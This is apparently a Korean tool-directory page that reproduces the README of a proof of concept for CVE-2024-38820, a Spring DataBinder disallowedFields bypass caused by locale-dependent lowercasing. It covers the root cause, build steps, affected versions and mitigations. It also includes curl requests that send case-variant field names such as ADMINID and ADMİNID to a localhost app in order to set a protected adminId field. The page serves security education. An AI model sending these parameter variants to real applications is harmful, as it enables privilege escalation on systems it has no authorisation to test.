Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
POC-CVE-2024-38820 — CVE-2024-38820에 대한 개념 증명 익스플로잇으로, Spring Framework DataBinder의 disallowedFields 보호에 대한 로케일 종속 대소문자 변환 우회를 시연하며, 자동화된 테스트 및 완화 지침을 포함합니다. | Kitploit
도구/GitHubGitHub/kadamnayan/poc-cve-2024-38820
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubkadamnayan/poc-cve-2024-38820

POC-CVE-2024-38820

CVE-2024-38820에 대한 개념 증명 익스플로잇으로, Spring Framework DataBinder의 disallowedFields 보호에 대한 로케일 종속 대소문자 변환 우회를 시연하며, 자동화된 테스트 및 완화 지침을 포함합니다.

저장소 보기
111개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2024-38820 개념 증명

개요

이 프로젝트는 Spring Framework의 DataBinder에서 disallowedFields 보호를 우회할 수 있는, 로케일에 의존적인 대소문자 변환 문제로 인한 취약점인 CVE-2024-38820을 시연합니다.

취약점 세부 정보

  • CVE ID: CVE-2024-38820
  • 영향을 받는 구성 요소: Spring Framework DataBinder
  • 근본 원인: String.toLowerCase() 동작이 로케일에 따라 달라짐
  • 영향: 필드 보호 우회, 잠재적 권한 상승

문제점

CVE-2022-22968에 대한 수정은 String.toLowerCase()를 사용하여 disallowedFields 패턴을 대소문자 구분하지 않도록 했습니다. 그러나 이 메서드에는 로케일에 의존적인 예외가 있습니다:

  • 터키어 로케일에서는: "ADMINID".toLowerCase()가 "adminıd"가 됩니다 (점 없는 ı 포함)
  • 영어 로케일에서는: "ADMINID".toLowerCase()가 "adminid"가 됩니다
  • 이 차이로 인해 공격자가 특정 대소문자 변형을 사용하여 필드 보호를 우회할 수 있습니다.

    프로젝트 구조

    root@kitploit:~
    src/
    ├── main/java/com/example/demo/
    │   ├── DemoApplication.java          # Spring Boot main class
    │   ├── controller/UserController.java # Vulnerable controller with @InitBinder
    │   └── model/UserInfo.java           # Model with protected adminId field
    └── resources/application.properties   # Locale configuration
    
    test-cve-2024-38820.sh                # Automated test script
    pom.xml                               # Maven dependencies (Spring 5.3.39 - vulnerable)
    

    빠른 시작

    1. 빌드 및 실행

    root@kitploit:~
    # Build the project
    mvn clean compile
    
    # Run the application
    mvn spring-boot:run
    

    애플리케이션이 http://localhost:8081에서 시작됩니다.

    2. 수동 테스트

    테스트 엔드포인트를 방문하여 로케일 정보를 확인하세요:

    root@kitploit:~
    http://localhost:8081/test
    

    다양한 필드 이름 변형을 시도해 보세요:

    root@kitploit:~
    # Normal case (should be blocked)
    curl "http://localhost:8081/user?username=test&adminId=999"
    
    # Uppercase (may bypass)
    curl "http://localhost:8081/user?username=test&ADMINID=999"
    
    # Mixed case (may bypass)  
    curl "http://localhost:8081/user?username=test&AdminId=999"
    
    # Turkish İ character (may bypass)
    curl "http://localhost:8081/user?username=test&ADMİNID=999"
    

    3. 자동화 테스트

    포괄적인 테스트 스크립트 실행:

    root@kitploit:~
    ./test-cve-2024-38820.sh
    

    예상 결과

    터키어 로케일 (tr_TR) 사용

    • ✅ adminId=999 → 차단됨 (일반 대소문자)
    • 🚨 ADMINID=999 → 우회됨 (대문자)
    • 🚨 AdminId=999 → 우회됨 (혼합 대소문자)
    • 🚨 ADMİNID=999 → 우회됨 (터키어 İ)

    영어 로케일 (en_US) 사용

    • ✅ adminId=999 → 차단됨 (일반 대소문자)
    • ✅ ADMINID=999 → 차단됨 (보호됨)
    • ✅ AdminId=999 → 차단됨 (보호됨)

    설정

    로케일 변경

    src/main/resources/application.properties 편집:

    root@kitploit:~
    # Turkish locale (vulnerable)
    spring.web.locale=tr_TR
    server.servlet.locale=tr_TR
    
    # English locale (protected)
    # spring.web.locale=en_US
    # server.servlet.locale=en_US
    

    JVM 로케일 설정

    JVM 기본 로케일을 설정할 수도 있습니다:

    root@kitploit:~
    mvn spring-boot:run -Duser.language=tr -Duser.country=TR
    

    취약점 분석

    코드 흐름

    1. 요청 처리: Spring이 매개변수가 포함된 HTTP 요청을 수신
    2. DataBinder 설정: @InitBinder가 disallowedFields("adminId")를 구성
    3. 필드 매칭: Spring이 toLowerCase()로 대소문자 구분 없는 매칭 사용
    4. 로케일 문제: 터키어 로케일에서 "ADMINID".toLowerCase() ≠ "adminid"
    5. 우회: 필드 보호 실패, adminId가 설정됨

    디버그 출력

    애플리케이션이 상세 정보를 기록합니다:

    root@kitploit:~
    === CVE-2024-38820 PoC - Locale Information ===
    JVM Default Locale: tr_TR
    Test field 'ADMINID' toLowerCase(): 'adminıd'
    Test field 'ADMINID' toLowerCase(Locale.ENGLISH): 'adminid'
    DataBinder configured with disallowed field: 'adminId'
    

    영향을 받는 버전

    • Spring Framework: 5.3.x (5.3.40 이전), 6.0.x (6.0.24 이전), 6.1.x (6.1.13 이전)
    • Spring Boot: 영향을 받는 Spring Framework 버전을 사용하는 2.x 및 3.x 버전

    완화 방법

    1. Spring Framework 업그레이드

    • Spring Framework 5.3.40+
    • Spring Framework 6.0.24+
    • Spring Framework 6.1.13+

    2. 명시적 로케일 설정

    로케일 인식 필드 매칭 사용:

    root@kitploit:~
    @InitBinder
    public void initBinder(WebDataBinder dataBinder) {
        // Use English locale explicitly
        dataBinder.setDisallowedFields("adminId");
        // Additional protection: check field names with specific locale
    }
    

    3. 사용자 정의 필드 검증

    로케일에 의존적인 연산에 의존하지 않는 사용자 정의 필드 검증을 구현하세요.

    참고 자료

    • CVE-2024-38820 - NVD
    • Spring Framework Security Advisory
    • Related CVE-2022-22968

    법적 고지

    이 개념 증명은 교육 및 보안 연구 목적으로만 사용됩니다. 책임감 있게 사용하고, 자신이 소유하거나 명시적 테스트 허가를 받은 시스템에서만 사용하십시오.

    도구 다운로드